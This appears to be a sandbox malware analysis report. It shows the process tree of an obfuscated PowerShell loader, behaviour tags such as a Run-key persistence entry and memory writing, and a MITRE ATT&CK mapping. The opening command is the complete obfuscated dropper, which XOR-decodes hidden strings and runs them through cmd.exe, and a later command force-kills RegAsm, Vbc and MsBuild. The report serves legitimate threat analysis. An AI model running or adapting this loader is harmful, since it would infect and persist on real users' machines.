  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=47-11;$dnE97fGUG='YvIz25UG660RY';$jIg9PzKV='95a98db3ecf69083bcc3e0d0d780f598f4f3a2c7d9a7c7c9818087b98efeccfa8799b2d9f49b9c97b58db7c5a5c5b8c8daa2d6b496a8b0a4eaf6918ab4c7f881879687be8db0c4ac94efe8ff95ddb0b38da6fded8bb0a6a6dc8a9c9e9e82a3fda9cbbee8eef39694dbf890f9e4ba84c9c3b1f8809c81f888adb1b682e0969190ab8792ae97fdcbf39a88ecbcb7ab9690b38db4ebbfcce096c7d49d87dd8f86a2eef69c88ccf3f39687bebd8db1fffa8db0a6a6c99d9086ae8aa4e1cf8d82e8f3f9979fd3e1c38bd6fa8bc3cff9f98d819aa89a80eaf08b82fff3f6ac8a83b9beeaa2cb939eadae97f2d792efd3edb0c085cdbbd1db8f92b998bae5d6e5b2afc6e6fd8dbeb191a099daec8babf1c9a9a29994b4a7b9a8c8bea9d9d1dd95a2bc9dd181f0deab86dfd3cea1a7b2b6d7a7dde59884d2f6ae96be89bf8091f2afcda8e6fbb1b0a1bebda9a7a8d2b884a8f8df90aac498b29ef0c5bbb7f1c6c88fbdb79dbae4d5c89cbac6cdaacdbfb08dad9ccac68aa0ded1c9a2b7a698a484d5d9bbaff3e9de9fbd9f8cb789fbcf85a0ddd9a8c8cbb7b4a683d4f59b80ddf5dbb6bca0a48b98e0d29ab4c8ddceb999aa91a1a8c1a9b79aebfbdc92979d9b89b7aade87d9f2d1cb9ba4bcabb292ddf6cbdec6fbd39fb7a7b79089caf8d0a0d8fbedbda2b9bba7b7d5fea5b9ddc8d5bbb6bc86a199edd1cdb4dfd5dbc8c6bf9ba6b6dee5c687d4ced7ccbca1e4b79de2d29bacdbc9f2b5b2beafa9a8a0d2b6aaacf8d2bac7c791a1a7dbd3abb4a5daf2a1c0bb9eba82d6f2a581ccd8cfbcaab099a58aefd68ba3e6f7d9b1a7b28ea1b9d1adbe95d5f7d492c29b9bb78af5da95d5fad9e09b98b4ee87bcfacec2d0bbb597f2b297b8ce84e1ef9acdb1c8e38896b7b985b9f6f68b84f3f2bad0a8a7b99ba4b6da918ef3f8f39694aee6d985ccd9c7c3dbf9eeab8781b58db7b0c4bc82f2eaff8a87aee6d996eaf092affdefffcec7a0a891b9f6f8d7c9fdafaad1dadad1e9b6edf19c99f5f3f4d897dbf882e3a9b684c9fdafa8c5bd96abce9ffaf59a8ee8bcd49d87dd8b86b2dbf39688f2e8a1d0b496a8ce82f9f19b82f1bcbe99c0c2fcce93f7ea9199bcb8fbcbc2dd9f8ca5f6ebd691b9e7ee8a8a88ae86a4eded91cdb8fda9caddb7b394bef4f09e89d8fdee99dbd783caadfbfe8b8ef4e7e7858efed685a5f6fc8b84f3f2ba91dbd7bdd0fcbcfecbc1b8fdafd4d792eade90b0b6d696b8fdadc5a8a3b482beecf092aafde8ffa5c9c9908cb1fcde8c9ef9f1f8948adbf882e3b1a4db8ca4a1be99c4dd9b86a4cce68f88efb4b384cc88f8bcfedeea9381d2fdf79d';$nGQiLc40H='LA55XkdEYSYeWEFmNTEHfRdJJ2VmLgYRb2NoCzhOUkwoSTEGA2tpb1d1QAlOQnsNBwxpa0pPfUgUPShNGUNCRU9JEVNrV1NlUAxUKmBdZG12SF4uM3UrKiFSa1x3eBsvNG98KicwMUJ2ZiEITkkpKUcBVTplags9CwZZLlsQMBFmeGVANVQ8IWNmChUEc2N+fiYVJBJlcxcGLGl/eEJyTAJIJHNbShg8KG0aMmYJFm95BktBZTwgB30ZTh0NGG5pQWU9MWM0B08/ejJEMyZGaysKPARHSF9oQ0QvQDk7RmZiXilEZQstC2g/Q1lwGCAZWXozGSAyQV95K38zCzFfGSVSTWZJF1F7Mg5NQQdUKEN/Zmx2SFAuVFBUKzFsPUFZWhg9U285KScoOislCjAHTz96MkQzJkZrRmQpGAJSQnoGDj9qVVRTcHVVJjZINCkOYnZNFFVVCFRPaDYULzR4YkZ2Gwwtdy9eREwuICQLQ1VHR1BRIgQvQDk7Ri55DDkzYg86V0U6Vk5aQwINVn45DRY+Q1htK3VUDytYJy5YICUlChElDgYoOkcBVzpoLAd+Hk5NYXwHS0FmODF4SEofFC5XDQAKY2ViREEVXTVUVFtNImJ4X1duRgkHKDYBUUwuIWFCaEwPSF9oQ0QEQGtEYl56WkcpMkhDTVh2LAReSCURYXwbVQNqeDVCW0g1J2cvXkRMJycsC0NVR0dFVRMSQi4ldy4WD0dEYiFDXkUvU3YDO2YkF2d3CSoBV3ZJDFFrE1daVSFUB0BOOnpbdQoFbSNVOghRYWkQaFoqGWNrMxkoflxIanJiDgN3NUpDXicobhA8EkdEYiFNMBBlf3hRdUEASDA+Q0cHNCJARnJIEwggP0NSVy4BBgd9HFZAPTJLPB8nK1ZyIRJASSApbmlBZTgxC0NVR0dPQVMIL21/dml2elIFaGVUREwnJywLQ1VHR09GJhsvcDExBDUUamogMkNDDCckV2BzQREFcmY+WV9BfmNOXk4UBTYmMBcXbmJrCzhiBhRjegYQPjZRJQo8CwVUIDo8GUUgRmVmKmUeAz01SkMlLyhuEDAPQwEzI09DTVh2LARaeDJZJztPQ01YdiwEXkUiGkZBAFZCLiAsC0NVR0daU15eQi4sIAM0cB1AJ14kGwwgJSUuFg9HQCBVBhdIV35jQHlcFBxzfREXRURcWQMxSwITY24QBglib3gDMUkOEnNmQ1YZYXgsbX1CAkxDQjZDGAoGASk8D0dAIDJDQ0Un';$nh4ZFB062=0xC859-0x1B0A;$sgQ9av=@();foreach($c in [char[]]$dnE97fGUG){$sgQ9av+=[byte]($c-bxor0xAA)};$eMhf36co8=$sgQ9av;$sgQ9av=@();foreach($c in [char[]]$dnE97fGUG){$sgQ9av+=[byte]($c-bxor0x55)};$f6TJe1=$sgQ9av;$sgQ9avoldR='';$i=0;for($j=0;$j-lt$jIg9PzKV.Length;$j+=2){$sgQ9avoldR+=[char](([Convert]::ToInt32($jIg9PzKV.Substring($j,2),16))-bxor$eMhf36co8[$i++%$eMhf36co8.Length])};$nA78cij=$sgQ9avoldR;$sgQ9avoldB=[Convert]::FromBase64String([regex]::Replace($nGQiLc40H, '$sgQ9av', ''));$sgQ9avoldR='';$i=0;for($j=0;$j-lt$sgQ9avoldB.Length;$j++){$sgQ9avoldR+=[char]($sgQ9avoldB[$j]-bxor$f6TJe1[$i++%$f6TJe1.Length])};$o1PxeZl=$sgQ9avoldR;$sYU0Hvf=$nA78cij+$o1PxeZl;.($env:ComSpec[4,26,25]-join'') $sYU0Hvf"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1520
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1wq0rdi3\1wq0rdi3.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2424
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1984.tmp" "c:\Users\Admin\AppData\Local\Temp\1wq0rdi3\CSCED76A8F0E34544A68617A646B684413C.TMP"
      4⤵
      PID:3124
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1736
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5108
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5616
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3744
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4208

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...